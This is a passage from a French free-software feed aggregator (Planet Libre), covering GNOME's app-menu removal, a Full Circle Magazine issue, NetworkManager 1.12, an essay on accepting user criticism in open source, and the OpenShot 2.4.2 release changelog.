<p>Et c’est là que le bât blesse. Hormis les applications GNOME officielles qui y proposent donc un accès à la rubique d’aide, aux préférences, ainsi qu’aux raccourcis clavier et à quelques options principales, la majorité des applications tierces, et non des moindres (Firefox, Google Chrome…) ne proposent que l’option de base permettant de quitter l’application, rendant ce menu complètement inutile dans la plupart des cas.</p>
<p>Et les griefs ne s’arrêtent pas là :</p>
<ul><li>le menu est déconnecté de la fenêtre de l’application</li>
<li>ça n’a aucun sens en cas d’utilisation de plusieurs écrans</li>
<li>aucun autre système ne propose ce type de menu</li>
<li>il n’est accessible que pour l’application qui a le focus</li>
<li>les applications GNOME officielles l’utilisent le manière incohérente</li>
<li>certains nouveaux utilisateurs sont totalement passés à côté et supposent qu’il n’y a donc pas de préférences</li>
</ul><p>La solution proposée étant de déplacer les différentes entrées du menu vers la fenêtre de l’application, dans le menu hamburger que la plupart des applications GNOME possèdent déjà. Travail relativement facile à mettre en œuvre, et qui devrait, qui plus est, se fondre agréablement avec certaines applications tierces comme Firefox et Chromium, qui utilisent déjà un modèle similaire.</p>
<p>De <a href="https://wiki.gnome.org/Design/Whiteboards/AppMenuMigration">nombreuses maquettes</a> ont déjà été publiées. La migration devant s’achever avec la sortie de GNOME 3.32, prévue pour le mois de mars 2019.</p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/suppression-a-venir-du-menu-de-lapplication/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: http://www.fullcirclemag.fr/?post/2018/06/29/Pour-l-%C3%A9t%C3%A9
title: Full Circle Magazine FR : Pour l'été
uri: 2018-06-29-Full-Circle-Magazine-FR-Pour-l-été
url: http://www.fullcirclemag.fr/?post/2018/06/29/Pour-l-%C3%A9t%C3%A9
content:
<p>Bonjour,</p>


<p>L'équipe du FCMfr est heureuse de vous présenter le numéro 133 en français. Vous pouvez le visionner ou le télécharger sur notre page <a href="http://www.fullcirclemag.fr/?pages/Num%C3%A9ros" hreflang="fr" title="Lire ou télécharger le 133">NUMÉROS</a> ou le récupérer directement en cliquant sur l'image de couverture ci-dessus.</p>


<p><a href="http://www.fullcirclemag.fr/?download/573" hreflang="fr" title="Numéro 133fr"><img src="media/1a672849.issue133.png" data-original-source="http://www.fullcirclemag.fr/dotclear/public/Numeros/Couvertures_PNG/issue133.png" alt="issue133.png" title="issue133.png, juin 2018"></a></p>


<p>Outre les bonnes choses habituelles, comme Inkscape, Freeplane ou Python, ainsi qu'Ubuntu au quotidien, la série pour ceux qui débutent (où, ce mois-ci,  Richard explique le paramétrage d'un nouveau système ), vous y trouverez notamment  :</p>
<ul><li>un tutoriel sur comment mettre votre Ubuntu à niveau avec apt-fast, qui vous sera très utile pour une mise à niveau rapide vers la 18.04 LTS ;</li>
<li>l'opinion d'Alan Ward après ses tentatives de donner une seconde jeunesse à deux ordinateurs portables différents, dont l'un a atteint le quatrième âge (!);</li>
<li>et deux critiques, l'un de KDE neon 5.2, qui semble pas mal du tout, et l'autre du jeu Deux Ex: Mankind Divided, fortement recommandé...</li>
</ul><p>Nous vous en souhaitons bonne lecture !</p>


<p>Les scribeurs, Bab, puis d52fr, et les traducteurs-relecteurs : AE, d52fr et christo.2so</p>
<p><img src="media/163a60d9.dd0e1a508d7347d53e0da0678bfd7aff" data-original-source="http://cdn.libravatar.org/avatar/dd0e1a508d7347d53e0da0678bfd7aff" alt="Gravatar de Full Circle Magazine FR" class="gravatar" /><br/><i>Original post of <a href="http://www.fullcirclemag.fr/?post/2018/06/29/Pour-l-%C3%A9t%C3%A9" title="Visit the source">Full Circle Magazine FR</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Full Circle Magazine FR : <a href="">Voici, enfin, le num&eacute;ro 52 !</a> (04/11/2011)</li><li>Full Circle Magazine FR : <a href="">Et voici.. le num&eacute;ro 53 !</a> (13/12/2011)</li><li>Full Circle Magazine FR : <a href="">Le num&eacute;ro 54... enfin !</a> (18/01/2012)</li><li>Full Circle Magazine FR : <a href="">Sortie du num&eacute;ro 56</a> (09/03/2012)</li><li>Full Circle Magazine FR : <a href="">Voici le 57 !</a> (29/03/2012)</li></ul></div></p>


feed_id: https://www.gnomelibre.fr/2018/07/sortie-de-networkmanager-1-12/
title: Okki : Sortie de NetworkManager 1.12
uri: Okki-Sortie-de-NetworkManager-1-12
url: https://www.gnomelibre.fr/2018/07/sortie-de-networkmanager-1-12/
content:
<p>Une nouvelle version de <a href="https://fr.wikipedia.org/wiki/NetworkManager">NetworkManager</a>, cet outil de gestion du réseau qui simplifie grandement la vie, vient de sortir.</p>
<p>Nous avons droit à des améliorations concernant la fonction de Point de contrôle / Restauration. Cette dernière permet à l’utilisateur de définir un point de contrôle quand tout fonctionne bien, avant d’effectuer ses modifications, potentiellement dangereuses, puis de déclarer si tout s’est bien passé. Le point de contrôle est essentiellement l’instantané d’une configuration réseau active accompagné d’une minuterie. Si les modifications provoquent une panne du réseau, le délai expire avant que l’utilisateur ne puisse confirmer le bon fonctionnement de ses changements, ce qui devrait annuler les modifications et rétablir la connectivité.</p>
<p>Au niveau du Wi-Fi, nous pouvons citer la prise en charge de FILS, WoWLAN et IWD</p>
<p>Traditionnellement, l’association d’un client <a href="https://fr.wikipedia.org/wiki/Wi-Fi">Wi-Fi</a> à un <a href="https://fr.wikipedia.org/wiki/Point_d%27acc%C3%A8s_sans_fil">point d’accès</a> est un processus compliqué qui peut facilement prendre plusieurs secondes. Ce n’est pas vraiment un problème tant qu’on reste dans le rayon d’action du point d’accès, mais dès qu’il y a de la mobilité et qu’on doit passer de point d’accès en point d’accès, ça peut rapidement devenir désagréable. Surtout si vous êtes en pleine vidéoconférence et que vous avez régulièrement des pertes de connexion. L’objectif de <a href="https://en.wikipedia.org/wiki/IEEE_802.11ai">FILS</a> étant, vous l’aurez compris, de drastiquement réduire le temps nécessaire pour établir l’association.</p>
<p>Vient ensuite le <a href="https://docs.ubuntu.com/core/en/stacks/network/network-manager/docs/reference/snap-configuration/wowlan">Wake on WLAN</a> (ou plus simplement WoWLAN), qui permet à un appareil équipé de Wi-Fi d’être mis sous tension lors de la réception d’un paquet réseau spécialement conçu à cet effet.</p>
<p>Et pour finir, <a href="https://iwd.wiki.kernel.org/">IWD</a> (iNet Wireless Daemon). Il s’agit d’un démon développé par Intel, qui gère les différents mécanismes de sécurité des réseaux sans fil et permet de s’authentifier auprès du point d’accès. C’est un équivalent à <a href="https://fr.wikipedia.org/wiki/Wpa_supplicant">WPA supplicant</a>, qui se veut bien plus optimisé et efficace que ce dernier. Une fois la parité fonctionnelle atteinte, il devrait devenir le nouveau choix par défaut de NetworkManager.</p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/07/sortie-de-networkmanager-1-12/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.blog-libre.org/2018/07/01/accepter-et-entendre-la-critique-dans-le-libre/
title: blog-libre : Accepter et entendre la critique dans le libre
uri: blog-libre-Accepter-et-entendre-la-critique-dans-le-libre
url: https://www.blog-libre.org/2018/07/01/accepter-et-entendre-la-critique-dans-le-libre/
content:
<p>Je n’aime pas qu’on me dise comment je dois utiliser un outil/logiciel/produit. Si il est bien conçu/pensé alors son utilisation, sa prise en main sera simple et naturelle. Elle aura du sens.</p><p>Il est nécessaire de fournir une documentation évidemment. C’est une bonne chose de présenter, argumenter, justifier les choix effectués (fonctionnement, technos, architecture, UI/UX…) : Pourquoi on a fait ça, comment on l’a fait. Pourtant il y a une chose cruciale à ne pas oublier : Une grosse partie des utilisateurs ne lira pas la doc, se fout complètement de vos problématiques et justifications. Ils veulent un truc qui tombe sous le sens, qui soit pratique/utile pour eux, qui fonctionne de manière simple. Si l’utilisateur pense avoir affaire à un outil/logiciel/produit mal conçu, vos arguments et justifications n’en feront pas quelque chose de bien conçu. L’utilisateur adaptera peut-être son comportement, sera moins critique, plus compréhensif car il aura compris le pourquoi/comment mais cet outil/logiciel/produit demeurera mal foutu dans son esprit.</p><p>Je vois régulièrement ça dans le logiciel libre : “Bon c’est mal foutu mais voilà l’explication”… mais ça reste mal foutu ! C’est comme si on avait intégré/accepté l’idée que le logiciel libre est imparfait, mal fini. C’est une véritable culture. De là découle le très fameux “c’est un logiciel libre, contribue”. Non ! Il faut <strong>accepter, entendre</strong> la critique. C’est bien plus constructif que tenter une justification.</p><p>Il faut de l’empathie pour comprendre, c’est-à-dire se mettre à la place de l’autre (ici l’utilisateur). L’utilisateur dit “c’est mal foutu”, on lui explique que non et pourquoi puis on lui rappelle/rétorque “tu peux l’améliorer, tu peux contribuer”. Il est intéressant de souligner que souvent on lui explique qu’il a tort en justifiant un choix technique par exemple alors que l’utilisateur donne seulement/simplement son ressenti.</p><p>J’aime bien la blague (certains appellent ça un argument) de la possibilité de contribuer. Quiconque a déjà contribué sait que c’est loooooooiiiiiiiinnnn d’être simple. En vrac complet : 1/ La doc est en Anglais, on communique en Anglais, on remonte les issues en Anglais 2/ Prenons GitHub. Il faut connaître (de “simples” utilisateurs ne connaissent pas), il faut avoir un compte, il faut savoir créer/remonter une issue ou un bug 3/ Il faut <strong>savoir</strong>. Combien d’utilisateurs sont <a href="https://www.blog-libre.org/2018/05/28/a-des-annees-lumiere/">à des années-lumière</a> de pouvoir juste expliquer de manière compréhensible le problème rencontré ? 4/ La contribution simple, systématique, rapide, on n’est pas loin du mythe. Une pull-request peut rester des semaines/mois sans être pushée dans le projet, évidemment elle peut être rejetée. Ce n’est pas parce que le logiciel est libre que les contributions sont systématiquement acceptées et que l’accueil est chaleureux (il est souvent inexistant). Pour la simplicité, voir les points précédents</p><p>Oui il est possible de contribuer en théorie, dans la pratique c’est nettement plus compliqué. L’utilisateur signale juste un problème, il n’est pas dans une démarche/réflexion pour contribuer et même si il l’était, le chemin restant avant qu’il le fasse est long et difficile.</p><p>Une majorité d’utilisateurs est dans une position de consommateurs. L’utilisateur n’est pas satisfait, il le dit. Le sympathisant du libre, le contributeur doit se mettre à son niveau, comprendre son besoin. Il doit lui tendre la main sinon l’utilisateur restera déçu, impuissant et incapable d’utiliser l’outil/logiciel/produit pour finir par aller voir ailleurs.</p><p>Certains penseront que ce n’est pas une grosse perte. Je cite une devise Framasoft : “Parce que ce serait l’une des plus grandes opportunités manquées de notre époque si le logiciel libre ne libérait rien d’autre que du code”.</p>
<p><img src="media/25c7216e.1ea6f31074367d57d77721240d30fda9" data-original-source="http://cdn.libravatar.org/avatar/1ea6f31074367d57d77721240d30fda9" alt="Gravatar de blog-libre" class="gravatar" /><br/><i>Original post of <a href="https://www.blog-libre.org/2018/07/01/accepter-et-entendre-la-critique-dans-le-libre/" title="Visit the source">blog-libre</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>blog-libre : <a href="">Mutualisation</a> (24/09/2017)</li><li>blog-libre : <a href="">Comment suivre les mises &agrave; jour de vos logiciels libres</a> (10/04/2018)</li><li>blog-libre : <a href="">Quelques r&eacute;flexions autour de l&rsquo;externalisation des sauvegardes</a> (09/06/2018)</li></ul></div></p>


feed_id: https://linuxevolution.wordpress.com/2018/07/01/sortie-dopenshot-2-4-2/
title: Cenwen : Sortie d’OpenShot 2.4.2
uri: Cenwen-Sortie-d-OpenShot-2-4-2
url: https://linuxevolution.wordpress.com/2018/07/01/sortie-dopenshot-2-4-2/
content:
<p><a href="https://linuxevolution.wordpress.com/2016/01/12/openshot-qt-2-0-beta/aboutlogo/" rel="attachment wp-att-2653"><img data-attachment-id="2570" data-permalink="https://linuxevolution.wordpress.com/2016/01/12/openshot-qt-2-0-beta/aboutlogo/" data-orig-file="https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png" data-orig-size="500,214" data-comments-opened="1" data-image-meta='{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}' data-image-title="AboutLogo" data-image-description="" data-medium-file="https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png?w=300&amp;h=128" data-large-file="https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png?w=500" src="https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png?w=300&amp;h=128" alt="" width="300" height="128" srcset="https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png?w=300&amp;h=128 300w, https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png?w=150&amp;h=64 150w, https://linuxevolution.files.wordpress.com/2016/01/aboutlogo.png 500w" sizes="(max-width: 300px) 100vw, 300px"></a>Il s’agit d’un temps à rester au moins à l’ombre et pourquoi pas derrière son ordinateur (mais pas trop longtemps) Au menu de cette nouvelle version, des nouveautés, des corrections de bogues…. En avant la lecture….</p>
<p>Et comme d’habitude, la petite vidéo présentant toutes ces nouvelles fonctionnalités.</p>
<p><span></span></p>
<p><iframe type="text/html" width="593" height="364" src="https://www.youtube.com/embed/WBnJ07iVfW4?version=3&amp;rel=1&amp;fs=1&amp;autohide=2&amp;showsearch=0&amp;showinfo=1&amp;iv_load_policy=1&amp;wmode=transparent" allowfullscreen="true"></iframe></p>
<h3>7 nouveau effets (Crop, Hue, Color Shift, Pixelate, Bars, Wave, Shift)</h3>
<p>Chacun de ces effets a été crée de toutes pièces pour OpenShot. Bien entendu, ils fonctionnent pleinement avec les images clés et peuvent même être combinés ensemble. ils feront, d’ailleurs, probablement l’objet de tutoriels vidéos de la part de Jonathan.</p>
<h3>Mixage audio automatique</h3>
<p>Quand cette fonctionnalités est activé, les clips audios peuvent utiliser trois méthodes pour les cas où les clips se chevauchent et l’audio est en compétition à ce moment là. Par exemple, prenons le cas d’un arrière plan audio sur toute la durée de la vidéo. Arrive un moment où quelqu’un parle. L’audio d’arrière plan diminue automatiquement le volume pour laisser place à l’audio de la personne qui passe en premier plan. A préciser que cette fonctionnalité est désactivé par défaut. Rendez-vous dans les propriétés du clip pour l’activer.</p>
<h3>Rotation automatique</h3>
<p>Les photos et vidéos disposant de métadonnées de rotation seront automatiquement basculer. Attention, toutefois, cela dépendra de votre version de ffmpeg. Pratique avec les téléphones portables.</p>
<h3>Amélioration de la lecture audio</h3>
<p>La lecture audio et le mixage audio sont le point faible d’Openshot et font l’objet d’une attention et d’efforts particuliers. Beaucoup d’amélioration et de résolutions ont été réalisées</p>
<h3>Amélioration de la stabilité</h3>
<p>Chaque version d’OpenShot (et comme tout projet libre d’ailleurs) apporte son lot de correction de bogues. Le système Window semble plus visé que les autres, notamment à cause des dépendances mais pas que.</p>
<h3>Amélioration  de la fenêtre d’exportation</h3>
<p>Affichage de la progression de l’exportation avec affichage du nombre de fps et du temps estimé de l’encodage.</p>
<h3>Nouveau codec audio</h3>
<p>Le codec AAC est désormais le codec audio pour beaucoup de prèset afin d’obtenir une plus large compatibilité.</p>
<h3>Migration du système de build</h3>
<p>Utilisation de Gitlab et de GitFlow pour le développement. Tout ceci permet de mieux compartimenter le développement pour chaque branche, chaque commit,  Launchpad, Github, les versions (Linux, Mac, Windows x86, Windows x64), etc….</p>
<p>Personnellement je ne connaissais pas GitFlow (<a href="https://www.grafikart.fr/formations/git/git-flow"> ici</a> et<a href="http://danielkummer.github.io/git-flow-cheatsheet/index.fr_FR.html"> ici</a> pour les curieux/ses).</p>
<p> </p>
<p> </p>
<p>Voici la liste complète des fonctionnalités et des commits réalisés par type de logiciels :</p>
<h4>libopenshot-audio 0.1.6 so:6</h4>
<ul><li>Fix under-linking (pthread and dl), fixes #3</li>
<li>Integration of GitLab build pipelines</li>
</ul><h4>libopenshot 0.2.0 so:15</h4>
<ul><li>Auto audio mixing strategy per clip (average, reduce, or none)</li>
<li>Adding new crop effect, which can also be animated for some very cool effects.</li>
<li>Adding new Color Shift effect, which can shift any color (RGBA) with infinite wrapping (and full supports animation).</li>
<li>Adding new Pixelate video effect, which pixelates a portion (or all) of a frame’s image, and is fully animatable.</li>
<li>Adding new video effect: Bars, which allow for animating colored bars around your video, such as a letterbox effect.</li>
<li>Adding new wave video effect, which can be animated in a ton of ways to create lots of cool wave distortion effects.</li>
<li>Adding Hue video effect, to adjust the hue of a frame’s image, which can also be animated with a keyframe</li>
<li>Adding new effect: Shift, an infinite pixel shifting effect which can be animated and wrap images in any direction.</li>
<li>Auto-Rotates any Clip with Reader metadata ‘rotate’ attribute.</li>
<li>Experimental codecs now supported in FFmpeg/LibAV</li>
<li>Audio popping during preview (due to resampling)</li>
<li>Fixing brightness and Mask effects to calculate factor with a float type, giving more fine control</li>
<li>Fix Blur.cpp by copying blur_<chan> values back to <chan> so horizontal *andvertical blurs can be applied in one effect and blur accumulates with increased iterations</li>
<li>Update and apply frame mapper on any clip changes, to keep timeline offsets in sync (i.e. avoid audio popping due to slight misalignments of clips on the timeline).</li>
<li>Removing old frames from WorkingCache (when no longer needed). This helps prevent freezing looking for old frame data on certain videos.</li>
<li>Adding metadata from format, audio stream, and video streams to ReaderBase.info, which in some cases includes the ‘rotate’ metadata added by certain cameras, and audio metadata like title, album, artist, copyright, dates, etc…</li>
<li>Added in metadata encoding capabilities (writer.info.metadata[« title »] = « My Title »). Only certain tag names are accepted (see FFmpeg for more on which tags are supported by which codecs).</li>
<li>Optimize and improve speed of Mask effect (used by transitions). This is way faster than before!</li>
<li>Fixing assignement and copy operators on Frame class (to prevent crashes for unintiailized image and audio pointers), and ensuring both copy and assignment operators work as expected.</li>
<li>Fixing the color property of Frames, which was being lost on some constructors.</li>
<li>Increase valid frame rates to 240 fps since many cameras now support this higher frame rate</li>
<li>Fixing regression on Clip constructor, and simplifying pointer initialization</li>
<li>Fixing a bug with Frame::AddImage (convertToFormat) not actually doing anything. It returns a new image, and does not convert the format in-place.</li>
<li>Preventing crash if Seek invoked before QtPlayer are initialized properly</li>
<li>FFMPEG 3.2 support for FFmpegWriter</li>
<li>FFMPEG 3.2 support for FFmpegReader</li>
<li>Fixing FFmpeg version breakage in FFmpegWriter</li>
<li>Increasing the default amount of cache in FFmpeg, based on the # of processors, to better support high framerate videos.</li>
<li>Changing some Seek values to be more accurate, and fixes a race condition with Timeline_Tests.cpp.</li>
<li>Changing some sleep() calls to usleep(), for more accuracy. This is a bit experimental, and hopefully will work on all OSes.</li>
<li>Do not clobber gainFactor when determining volume adjustments and add a TODO note about current_max_volume always being 0</li>
<li>Removing anchor from clip properties (since it is unused)</li>
<li>Adding « dbghelp » dependency for Windows builds (for crash handling support), and improved Windows build instructions using MSYS2.</li>
<li>Properly set test media files path, fixes #36</li>
<li>Fixing black frames at end of video clips, if audio stream longer than video stream, and end-of-stream is reached.</li>
<li>Integration of GitLab build pipelines</li>
<li>Faster Windows builds</li>
<li>Fixing audio unit tests</li>
<li>Avoid mixing audio for clips with no volume or disabled audio.</li>
<li>Updating cmake file for libopenshot-audio to search $ENV first, and then static folders</li>
<li>Add missing type cast</li>
<li>Spelling and typo fixes</li>
</ul><h4>openshot-qt 2.4.2</h4>
<ul><li>More detailed export dialog progress, including estimate time remaining, FPS, and more accurate percentage. Thanks Peter!</li>
<li>Defaulting to AAC audio codec</li>
<li>Improving zoom scale calculation, to use a custom bezier curve (zoom gets faster and faster the more you zoom out). 30 levels of precision between 1 second and 7200 seconds.</li>
<li>Auto-rotate for Readers with ‘rotate’ metadata. This requires a slightly newer version of FFmpeg, otherwise the ‘rotate’ tag is never found.</li>
<li>Adding new Crop video effect</li>
<li>Adding new Color Shift video effect (with temp icon)</li>
<li>Adding Pixelate video effect, which can animate a pixelated version of part (of all) of a video clip.</li>
<li>Adding new Bars video effect, which allow for animating colored bars around your video, such as a letterbox effect.</li>
<li>Adding new Wave video effect</li>
<li>Adding Hue video effect</li>
<li>Adding new Shift effect (which allows for shifting the image in any direction and allows for animation, with infinite wrapping)</li>
<li>Support for 32-bit and 64-bit Windows builds, and an update to the Windows dependencies (and installer size reduction).</li>
<li>32-bit version of Windows is now large address aware, and can make use of more memory, but users might need to run this command first: ‘bcdedit /set IncreaseUserVa 3072’ in order to utilize this</li>
<li>No longer crash app if user settings cannot be read. Now we show a message box and reset the user settings.</li>
<li>Adding save indicator in window title</li>
<li>Retain track parameters during add/remove track</li>
<li>Update titles to be compatible with newer versions of Inkscape</li>
<li>Always apply mapper when opening a project, to ensure no audio starts popping for different framerate projects</li>
<li>Split Clip dialog now sends focus back to slider after clicking ‘Start’ or ‘End’ or ‘Play’ (to make it easier for frame-by-frame arrow keys)</li>
<li>Make clip and transition menus trigger on mouse-down, and not move the timeline item when the menu is activate</li>
<li>Removing max constrains from export length, so user can export blackness at the end of his project if so desired.</li>
<li>Disabling/Enabling save icon based on if the project needs saving</li>
<li>Add preset xml file for chromebook target</li>
<li>Removing unneeded 64-bit/32-bit clean-up code from Windows installer (which breaks on a 32-bit system)</li>
<li>Fix initial save indicator on a new (blank) project</li>
<li>Also use import_path for missing-file recovery</li>
<li>Add import_path tracking to project data</li>
<li>Updating mac build scripts to use Python 3.6 (with a newer version of OpenSSL)</li>
<li>Preview controls use media-skip icons</li>
<li>New razor-tool cursor</li>
<li>Adding new developer page to documentation, with step by step instructions on getting a Ubuntu development environment setup for libopenshot, libopenshot-audio, and openshot-qt.</li>
<li>Position is always (frame – 1) / fps</li>
<li>Utility functions for unit conversion</li>
<li>Be more explicit about logfile paths</li>
<li>Adding back in /usr/lib/x86_64-linux-gnu/libfontconfig.so.1 to the AppImage</li>
<li>Rename dv_pal_wide_animorphic to correct spelling</li>
<li>Remove duplicate profiles</li>
<li>Protect slack upload better during build server</li>
<li>Updating sponsors, donors, and contributors</li>
<li>Updating translations</li>
<li>Change the if statement for default language to use system default</li>
<li>Copy log file for each successful build (for debugging reasons)</li>
<li>Use QUrl.toLocalFile() to convert dropped URIs</li>
<li>Add Contributing section</li>
<li>Update Tutorial, Code tags and contrib link</li>
<li>Update GitHub info in tutorial</li>
<li>Use images/ path for images, not _static/ in documentation</li>
<li>Fix wrapping in Tutorial documentation</li>
<li>Replace ASCII arrows with Unicode arrow character in documentation</li>
<li>Also update transition layer on track add/remove</li>
<li>Small refactor of build server file uploads, and added extra check for ‘already uploaded’ assets to GitHub</li>
<li>Improve error message for failed uploads during build server</li>
<li>Remove torrents if already existing</li>
<li>Integration of GitLab build pipelines</li>
<li>Updating font family on built-in titles</li>
<li>Remove some unneeded copies of libopenshot and libopenshot-audio in the AppImage, reducing size of AppImage</li>
<li>Fixing issue with Linux AppImage creation on build server</li>
<li>Migrating from Bzr to Git (on Launchpad)</li>
<li>Delete old ISSUE_TEMPLATE</li>
<li>Correct a cut-and-paste wrong comment</li>
<li>Fixing copyright to use translation-friendly formatting, and hiding hardware decode preference (for now)</li>
<li>Update websites section and removal of too many caps</li>
<li>Change readme to be markdown</li>
<li>Log length of metrics response, not content</li>
<li>Updated copyrights to 2018 (from 2016). Also edited `about.py` so the year is automatically updated.</li>
<li>Adding a few missing dependencies into the developer doc page</li>
<li>.gitignore: ignore docs/_build &amp; all pycache</li>
</ul><h4>Git Changes</h4>
<ul><li>Implementing GitFlow for project (develop, release, and master branches)</li>
<li>Protected branches (on all repos), preventing direct pushes</li>
<li>Must pass unit tests and status checks before merges allowed</li>
<li>Must go through the Pull/Merge Request flow to be merged into a protected branch</li>
<li>Automated git repo syncing between GitHub->GitLab->Launchpad</li>
<li>Automated GitLab CI build pipelines (all builds, tests, installers, daily installers, are run through GitLab CI now)</li>
<li>Builds and installers also support any branch, making feature branches and test branches much more useful, since we can share installers for them</li>
</ul><h4>Credits</h4>
<ul><li>Peter M</li>
<li>DylanC</li>
<li>Rich A</li>
<li>FeRD</li>
<li>Louis S</li>
<li>Beau N</li>
<li>peanutbutterandcrackers</li>
<li>Dr. Tobias</li>
<li>Jonathan T</li>
</ul><p>Voici le lien vers le texte original de la dépêche <a href="https://www.openshot.org/blog/2018/06/30/openshot-242-released-more-effects-more-stable-more-fun/">ici</a>.</p>
<p>Rendez-vous à la prochaine version, d’ici là j’aurais fini l’aménagement de mon abri à bûcher, couler une dalle/fini ma 2eme cabane et peut-être fini mes canettes et attaqué mes 2 petits murets. On sera aux vacances de Noêl et je me serai remis à coder. D’ici là, mettez-vous à l’ombre.</p>
<p><img src="media/9ad38962.b4deaa84d80933a525c375c1cef1b842" data-original-source="http://cdn.libravatar.org/avatar/b4deaa84d80933a525c375c1cef1b842" alt="Gravatar de Cenwen" class="gravatar" /><br/><i>Original post of <a href="https://linuxevolution.wordpress.com/2018/07/01/sortie-dopenshot-2-4-2/" title="Visit the source">Cenwen</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Cenwen : <a href="">Libopenshot est sortie et plus encore&hellip;</a> (14/04/2014)</li><li>Cenwen : <a href="">Sortie d&rsquo; Openshot QT 2.4.0</a> (08/09/2017)</li><li>Cenwen : <a href="">Sortie d&rsquo; OpenShot Qt 2.4.1</a> (13/11/2017)</li><li>Cenwen : <a href="">Apr&egrave;s KickStarter!!!!!!!!!!!</a> (27/04/2013)</li><li>Cenwen : <a href="">Quoi de neuf du cot&eacute; d&rsquo;OpenShot ?</a> (23/09/2013)</li></ul></div></p>


